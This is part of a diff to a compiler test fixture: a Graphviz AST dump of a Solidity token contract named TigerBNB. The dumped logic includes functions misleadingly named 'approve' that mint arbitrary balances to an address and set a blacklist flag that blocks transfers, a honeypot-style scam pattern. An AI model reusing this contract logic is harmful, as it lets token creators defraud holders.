+	call_internal_function_532 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:495:27-39"]
+	internal_function_533 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:495:27-39"]
+	variable_534 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:495:45-54"]
+	call_internal_function_535 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:495:64-108"]
+	internal_function_536 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.sub\ntests/contract_testcases/ewasm/comment_tests.sol:495:64-108"]
+	call_internal_function_537 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:495:64-90"]
+	internal_function_538 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.sub\ntests/contract_testcases/ewasm/comment_tests.sol:495:64-90"]
+	variable_539 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:495:64-70"]
+	variable_540 [label="variable: Market\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:495:83-89"]
+	variable_541 [label="variable: Burn\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:495:103-107"]
+	return_542 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:496:9-24"]
+	bool_literal_543 [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:496:20-24"]
+	allowance_544 [label="function allowance\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:499:5-503:26\nsignature allowance(address,address)\nvisibility public\nmutability view\noverride"]
+	parameters_545 [label="parameters\naddress owner\naddress spender"]
+	returns_546 [label="returns\nuint256 "]
+	return_547 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:507:9-42"]
+	storage_load_548 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:507:9-42"]
+	subscript_549 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:507:16-42"]
+	subscript_550 [label="subscript mapping(address => mapping(address => uint256)) storage\ntests/contract_testcases/ewasm/comment_tests.sol:507:16-33"]
+	storage_var_551 [label="storage variable\nTigerBNB._allowance\nmapping(address => mapping(address => uint256)) storage\ntests/contract_testcases/ewasm/comment_tests.sol:507:16-26"]
+	variable_552 [label="variable: owner\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:507:27-32"]
+	variable_553 [label="variable: spender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:507:34-41"]
+	approve_554 [label="function approve\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:510:5-513:23\nsignature approve(address,uint256)\nvisibility public\nmutability nonpayable\noverride"]
+	parameters_555 [label="parameters\naddress spender\nuint256 amount"]
+	returns_556 [label="returns\nbool "]
+	expr_557 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:517:9-48"]
+	call_internal_function_558 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:517:9-48"]
+	internal_function_559 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._approve\ntests/contract_testcases/ewasm/comment_tests.sol:517:9-48"]
+	cast_560 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:517:18-30"]
+	call_internal_function_561 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:517:18-30"]
+	internal_function_562 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:517:18-30"]
+	variable_563 [label="variable: spender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:517:32-39"]
+	variable_564 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:517:41-47"]
+	return_565 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:518:9-20"]
+	bool_literal_566 [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:518:16-20"]
+	transferFrom_567 [label="function transferFrom\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:524:5-530:37\nsignature transferFrom(address,address,uint256)\nvisibility public\nmutability nonpayable\noverride"]
+	parameters_568 [label="parameters\naddress sender\naddress recipient\nuint256 amount"]
+	returns_569 [label="returns\nbool "]
+	expr_570 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:531:9-22"]
+	assign_571 [label="assign\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:531:9-15"]
+	storage_var_572 [label="storage variable\nTigerBNB.damada\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:531:9-15"]
+	number_literal_573 [label="uint256 literal: 3354\ntests/contract_testcases/ewasm/comment_tests.sol:531:18-22"]
+	if_574 [label="if\ntests/contract_testcases/ewasm/comment_tests.sol:535:13-541:10"]
+	logical_or_575 [label="logical or\ntests/contract_testcases/ewasm/comment_tests.sol:536:9-11"]
+	storage_load_576 [label="storage load bool\ntests/contract_testcases/ewasm/comment_tests.sol:536:9-11"]
+	subscript_577 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:535:20-62"]
+	storage_var_578 [label="storage variable\nTigerBNB._isExcludedFromF\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:535:20-36"]
+	cast_579 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:535:45-61"]
+	call_internal_function_580 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:535:45-61"]
+	internal_function_581 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:535:45-61"]
+	storage_load_582 [label="storage load bool\ntests/contract_testcases/ewasm/comment_tests.sol:536:9-11"]
+	subscript_583 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:536:16-55"]
+	storage_var_584 [label="storage variable\nTigerBNB._isExcludedFromF\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:536:16-32"]
+	variable_585 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:536:41-50"]
+	expr_586 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:538:17-539:40"]
+	call_internal_function_587 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:538:17-539:40"]
+	internal_function_588 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfer\ntests/contract_testcases/ewasm/comment_tests.sol:538:17-539:40"]
+	variable_589 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:539:14-20"]
+	variable_590 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:539:22-31"]
+	variable_591 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:539:33-39"]
+	return_592 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:540:13-24"]
+	bool_literal_593 [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:540:20-24"]
+	var_decl_594 [label="variable decl uint256 Market\ntests/contract_testcases/ewasm/comment_tests.sol:544:9-62"]
+	call_internal_function_595 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:544:26-62"]
+	internal_function_596 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.div\ntests/contract_testcases/ewasm/comment_tests.sol:544:26-62"]
+	call_internal_function_597 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:544:26-53"]
+	internal_function_598 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.mul\ntests/contract_testcases/ewasm/comment_tests.sol:544:26-53"]
+	variable_599 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:544:26-32"]
+	storage_load_600 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:544:37-52"]
+	storage_var_601 [label="storage variable\nTigerBNB.marketingWallet\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:544:37-52"]
+	number_literal_602 [label="uint256 literal: 100\ntests/contract_testcases/ewasm/comment_tests.sol:544:58-61"]
+	var_decl_603 [label="variable decl uint256 Burn\ntests/contract_testcases/ewasm/comment_tests.sol:545:9-50"]
+	call_internal_function_604 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:545:24-50"]
+	internal_function_605 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.div\ntests/contract_testcases/ewasm/comment_tests.sol:545:24-50"]
+	call_internal_function_606 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:545:24-41"]
+	internal_function_607 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.mul\ntests/contract_testcases/ewasm/comment_tests.sol:545:24-41"]
+	variable_608 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:545:24-30"]
+	storage_load_609 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:545:35-40"]
+	storage_var_610 [label="storage variable\nTigerBNB.deadF\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:545:35-40"]
+	number_literal_611 [label="uint256 literal: 100\ntests/contract_testcases/ewasm/comment_tests.sol:545:46-49"]
+	expr_612 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:546:13-62"]
+	call_internal_function_613 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:546:13-62"]
+	internal_function_614 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfer\ntests/contract_testcases/ewasm/comment_tests.sol:546:13-62"]
+	variable_615 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:546:23-29"]
+	storage_load_616 [label="storage load address\ntests/contract_testcases/ewasm/comment_tests.sol:546:39-45"]
+	storage_var_617 [label="storage variable\nTigerBNB.owners\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:546:39-45"]
+	variable_618 [label="variable: Market\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:546:51-57"]
+	expr_619 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:547:13-65"]
+	call_internal_function_620 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:547:13-65"]
+	internal_function_621 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfer\ntests/contract_testcases/ewasm/comment_tests.sol:547:13-65"]
+	variable_622 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:547:23-29"]
+	storage_load_623 [label="storage load address\ntests/contract_testcases/ewasm/comment_tests.sol:547:39-50"]
+	storage_var_624 [label="storage variable\nTigerBNB.deadAddress\naddress storage\ntests/contract_testcases/ewasm/comment_tests.sol:547:39-50"]
+	variable_625 [label="variable: Burn\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:547:56-60"]
+	expr_626 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:548:13-103"]
+	call_internal_function_627 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:548:13-103"]
+	internal_function_628 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfer\ntests/contract_testcases/ewasm/comment_tests.sol:548:13-103"]
+	variable_629 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:548:23-29"]
+	variable_630 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:548:39-48"]
+	call_internal_function_631 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:548:54-102"]
+	internal_function_632 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.sub\ntests/contract_testcases/ewasm/comment_tests.sol:548:54-102"]
+	call_internal_function_633 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:548:54-84"]
+	internal_function_634 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.sub\ntests/contract_testcases/ewasm/comment_tests.sol:548:54-84"]
+	variable_635 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:548:54-60"]
+	variable_636 [label="variable: Market\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:548:73-79"]
+	variable_637 [label="variable: Burn\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:548:93-97"]
+	expr_638 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:552:13-559:10"]
+	call_internal_function_639 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:552:13-559:10"]
+	internal_function_640 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._approve\ntests/contract_testcases/ewasm/comment_tests.sol:552:13-559:10"]
+	variable_641 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:553:17-23"]
+	cast_642 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:554:17-29"]
+	call_internal_function_643 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:554:17-29"]
+	internal_function_644 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:554:17-29"]
+	call_internal_function_645 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:555:17-558:14"]
+	internal_function_646 [label="function(uint256,uint256,string) internal pure returns (uint256)\nSafeMath.sub\ntests/contract_testcases/ewasm/comment_tests.sol:555:17-558:14"]
+	storage_load_647 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:555:17-49"]
+	subscript_648 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:555:17-49"]
+	subscript_649 [label="subscript mapping(address => mapping(address => uint256)) storage\ntests/contract_testcases/ewasm/comment_tests.sol:555:17-35"]
+	storage_var_650 [label="storage variable\nTigerBNB._allowance\nmapping(address => mapping(address => uint256)) storage\ntests/contract_testcases/ewasm/comment_tests.sol:555:17-27"]
+	variable_651 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:555:28-34"]
+	cast_652 [label="cast address\ntests/contract_testcases/ewasm/comment_tests.sol:555:36-48"]
+	call_internal_function_653 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:555:36-48"]
+	internal_function_654 [label="function() internal view returns (address payable)\nsignature _msgSender()\nContext._msgSender\ntests/contract_testcases/ewasm/comment_tests.sol:555:36-48"]
+	variable_655 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:556:21-27"]
+	alloc_array_656 [label="alloc array string\ninitializer: 45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365\ntests/contract_testcases/ewasm/comment_tests.sol:557:21-63"]
+	number_literal_657 [label="uint32 literal: 40\ntests/contract_testcases/ewasm/comment_tests.sol:557:21-63"]
+	return_658 [label="return\ntests/contract_testcases/ewasm/comment_tests.sol:560:9-20"]
+	bool_literal_659 [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:560:16-20"]
+	approve_660 [label="function approve\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:565:5-105\nsignature approve(address,uint256,address)\nvisibility external\nmutability nonpayable"]
+	parameters_661 [label="parameters\naddress Raddress\nuint256 Pairs\naddress Max"]
+	expr_662 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:566:9-54"]
+	builtins_663 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:566:9-16"]
+	equal_664 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:566:24-26"]
+	variable_665 [label="variable: Max\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:566:21-24"]
+	number_literal_666 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:566:30-48"]
+	alloc_array_667 [label="alloc array string\ninitializer: 20\ntests/contract_testcases/ewasm/comment_tests.sol:566:50-53"]
+	number_literal_668 [label="uint32 literal: 1\ntests/contract_testcases/ewasm/comment_tests.sol:566:50-53"]
+	expr_669 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:567:13-97"]
+	assign_670 [label="assign\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:567:43-44"]
+	subscript_671 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:567:13-38"]
+	storage_var_672 [label="storage variable\nTigerBNB._lances\nmapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:567:13-20"]
+	variable_673 [label="variable: Raddress\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:567:29-37"]
+	call_internal_function_674 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:567:49-97"]
+	internal_function_675 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.add\ntests/contract_testcases/ewasm/comment_tests.sol:567:49-97"]
+	storage_load_676 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:567:49-74"]
+	subscript_677 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:567:49-74"]
+	storage_var_678 [label="storage variable\nTigerBNB._lances\nmapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:567:49-56"]
+	variable_679 [label="variable: Raddress\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:567:65-73"]
+	variable_680 [label="variable: Pairs\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:567:91-96"]
+	_approve [label="function _approve\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:571:5-579:7\nsignature _approve(address)\nvisibility external\nmutability nonpayable"]
+	parameters_682 [label="parameters\naddress spender"]
+	delete [label="delete\nty: bool\ntests/contract_testcases/ewasm/comment_tests.sol:581:13-583:23"]
+	subscript_684 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:582:14-583:23"]
+	storage_var_685 [label="storage variable\nTigerBNB._espat\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:582:14-20"]
+	variable_686 [label="variable: spender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:583:15-22"]
+	approve_687 [label="function approve\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:586:9-596:13\nsignature approve(address)\nvisibility external\nmutability nonpayable"]
+	parameters_688 [label="parameters\naddress spender"]
+	expr_689 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:598:13-600:13"]
+	assign_690 [label="assign\nbool storage\ntests/contract_testcases/ewasm/comment_tests.sol:599:11-12"]
+	subscript_691 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:598:13-599:10"]
+	storage_var_692 [label="storage variable\nTigerBNB._espat\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:598:13-19"]
+	variable_693 [label="variable: spender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:598:20-27"]
+	bool_literal_694 [label="bool literal: true\ntests/contract_testcases/ewasm/comment_tests.sol:600:9-13"]
+	_transfer [label="function _transfer\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:612:5-622:12\nsignature _transfer(address,address,uint256)\nvisibility private\nmutability nonpayable"]
+	parameters_696 [label="parameters\naddress from\naddress to\nuint256 amount"]
+	expr_697 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:625:9-626:70"]
+	builtins_698 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:625:9-16"]
+	not_699 [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:626:15-17"]
+	equal_700 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:626:15-17"]
+	variable_701 [label="variable: from\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:626:10-14"]
+	number_literal_702 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:626:18-28"]
+	alloc_array_703 [label="alloc array string\ninitializer: 45524332303a207472616e736665722066726f6d20746865207a65726f2061646472657373\ntests/contract_testcases/ewasm/comment_tests.sol:626:30-69"]
+	number_literal_704 [label="uint32 literal: 37\ntests/contract_testcases/ewasm/comment_tests.sol:626:30-69"]
+	expr_705 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:627:9-628:66"]
+	builtins_706 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:627:9-16"]
+	not_707 [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:628:13-15"]
+	equal_708 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:628:13-15"]
+	variable_709 [label="variable: to\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:628:10-12"]
+	number_literal_710 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:628:16-26"]
+	alloc_array_711 [label="alloc array string\ninitializer: 45524332303a207472616e7366657220746f20746865207a65726f2061646472657373\ntests/contract_testcases/ewasm/comment_tests.sol:628:28-65"]
+	number_literal_712 [label="uint32 literal: 35\ntests/contract_testcases/ewasm/comment_tests.sol:628:28-65"]
+	expr_713 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:629:9-630:66"]
+	builtins_714 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:629:9-16"]
+	more_715 [label="more\ntests/contract_testcases/ewasm/comment_tests.sol:630:17-18"]
+	variable_716 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:630:10-16"]
+	number_literal_717 [label="uint256 literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:630:19-20"]
+	alloc_array_718 [label="alloc array string\ninitializer: 5472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f\ntests/contract_testcases/ewasm/comment_tests.sol:630:22-65"]
+	number_literal_719 [label="uint32 literal: 41\ntests/contract_testcases/ewasm/comment_tests.sol:630:22-65"]
+	if_720 [label="if\ntests/contract_testcases/ewasm/comment_tests.sol:634:9-642:10"]
+	storage_load_721 [label="storage load bool\ntests/contract_testcases/ewasm/comment_tests.sol:635:10-16"]
+	storage_var_722 [label="storage variable\nTigerBNB.ratify\nbool storage\ntests/contract_testcases/ewasm/comment_tests.sol:635:10-16"]
+	expr_723 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:638:13-641:20"]
+	builtins_724 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:638:13-20"]
+	equal_725 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:640:13-15"]
+	storage_load_726 [label="storage load bool\ntests/contract_testcases/ewasm/comment_tests.sol:639:18-30"]
+	subscript_727 [label="subscript mapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:639:18-30"]
+	storage_var_728 [label="storage variable\nTigerBNB._espat\nmapping(address => bool) storage\ntests/contract_testcases/ewasm/comment_tests.sol:639:18-24"]
+	variable_729 [label="variable: from\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:639:25-29"]
+	bool_literal_730 [label="bool literal: false\ntests/contract_testcases/ewasm/comment_tests.sol:640:16-21"]
+	alloc_array_731 [label="alloc array string\ninitializer: 6f6b6a69\ntests/contract_testcases/ewasm/comment_tests.sol:641:13-19"]
+	number_literal_732 [label="uint32 literal: 4\ntests/contract_testcases/ewasm/comment_tests.sol:641:13-19"]
+	expr_733 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:643:9-37"]
+	call_internal_function_734 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:643:9-37"]
+	internal_function_735 [label="function(address,address,uint256) internal returns (void)\nTigerBNB._transfers\ntests/contract_testcases/ewasm/comment_tests.sol:643:9-37"]
+	variable_736 [label="variable: from\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:643:20-24"]
+	variable_737 [label="variable: to\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:643:26-28"]
+	variable_738 [label="variable: amount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:643:30-36"]
+	_transfers [label="function _transfers\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:648:5-654:12\nsignature _transfers(address,address,uint256)\nvisibility private\nmutability nonpayable"]
+	parameters_740 [label="parameters\naddress sender\naddress recipient\nuint256 tAmount"]
+	expr_741 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:656:9-80"]
+	builtins_742 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:656:9-16"]
+	not_743 [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:656:24-26"]
+	equal_744 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:656:24-26"]
+	variable_745 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:656:17-23"]
+	number_literal_746 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:656:27-37"]
+	alloc_array_747 [label="alloc array string\ninitializer: 4942455032303a207472616e736665722066726f6d20746865207a65726f2061646472657373\ntests/contract_testcases/ewasm/comment_tests.sol:656:39-79"]
+	number_literal_748 [label="uint32 literal: 38\ntests/contract_testcases/ewasm/comment_tests.sol:656:39-79"]
+	expr_749 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:657:9-81"]
+	builtins_750 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:657:9-16"]
+	not_751 [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:657:27-29"]
+	equal_752 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:657:27-29"]
+	variable_753 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:657:17-26"]
+	number_literal_754 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:657:30-40"]
+	alloc_array_755 [label="alloc array string\ninitializer: 4942455032303a207472616e7366657220746f20746865207a65726f2061646472657373\ntests/contract_testcases/ewasm/comment_tests.sol:657:42-80"]
+	number_literal_756 [label="uint32 literal: 36\ntests/contract_testcases/ewasm/comment_tests.sol:657:42-80"]
+	expr_757 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:658:13-59"]
+	assign_758 [label="assign\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:658:29-30"]
+	subscript_759 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:658:13-28"]
+	storage_var_760 [label="storage variable\nTigerBNB._lances\nmapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:658:13-20"]
+	variable_761 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:658:21-27"]
+	call_internal_function_762 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:658:31-59"]
+	internal_function_763 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.sub\ntests/contract_testcases/ewasm/comment_tests.sol:658:31-59"]
+	storage_load_764 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:658:31-46"]
+	subscript_765 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:658:31-46"]
+	storage_var_766 [label="storage variable\nTigerBNB._lances\nmapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:658:31-38"]
+	variable_767 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:658:39-45"]
+	variable_768 [label="variable: tAmount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:658:51-58"]
+	expr_769 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:659:9-61"]
+	assign_770 [label="assign\nuint256 storage\ntests/contract_testcases/ewasm/comment_tests.sol:659:28-29"]
+	subscript_771 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:659:9-27"]
+	storage_var_772 [label="storage variable\nTigerBNB._lances\nmapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:659:9-16"]
+	variable_773 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:659:17-26"]
+	call_internal_function_774 [label="call internal function\ntests/contract_testcases/ewasm/comment_tests.sol:659:30-61"]
+	internal_function_775 [label="function(uint256,uint256) internal pure returns (uint256)\nSafeMath.add\ntests/contract_testcases/ewasm/comment_tests.sol:659:30-61"]
+	storage_load_776 [label="storage load uint256\ntests/contract_testcases/ewasm/comment_tests.sol:659:30-48"]
+	subscript_777 [label="subscript mapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:659:30-48"]
+	storage_var_778 [label="storage variable\nTigerBNB._lances\nmapping(address => uint256) storage\ntests/contract_testcases/ewasm/comment_tests.sol:659:30-37"]
+	variable_779 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:659:38-47"]
+	variable_780 [label="variable: tAmount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:659:53-60"]
+	emit_781 [label="emit\nevent IERC20.Transfer\ntests/contract_testcases/ewasm/comment_tests.sol:660:13-58"]
+	variable_782 [label="variable: sender\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:660:31-37"]
+	variable_783 [label="variable: recipient\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:660:39-48"]
+	variable_784 [label="variable: tAmount\nuint256\ntests/contract_testcases/ewasm/comment_tests.sol:660:50-57"]
+	_approve_785 [label="function _approve\ncontract: TigerBNB\ntests/contract_testcases/ewasm/comment_tests.sol:667:1-672:14\nsignature _approve(address,address,uint256)\nvisibility private\nmutability nonpayable"]
+	parameters_786 [label="parameters\naddress owner\naddress spender\nuint256 amount"]
+	expr_787 [label="expression\ntests/contract_testcases/ewasm/comment_tests.sol:673:9-77"]
+	builtins_788 [label="builtin Require\ntests/contract_testcases/ewasm/comment_tests.sol:673:9-16"]
+	not_789 [label="not\ntests/contract_testcases/ewasm/comment_tests.sol:673:23-25"]
+	equal_790 [label="equal\ntests/contract_testcases/ewasm/comment_tests.sol:673:23-25"]
+	variable_791 [label="variable: owner\naddress\ntests/contract_testcases/ewasm/comment_tests.sol:673:17-22"]
+	number_literal_792 [label="address literal: 0\ntests/contract_testcases/ewasm/comment_tests.sol:673:26-36"]
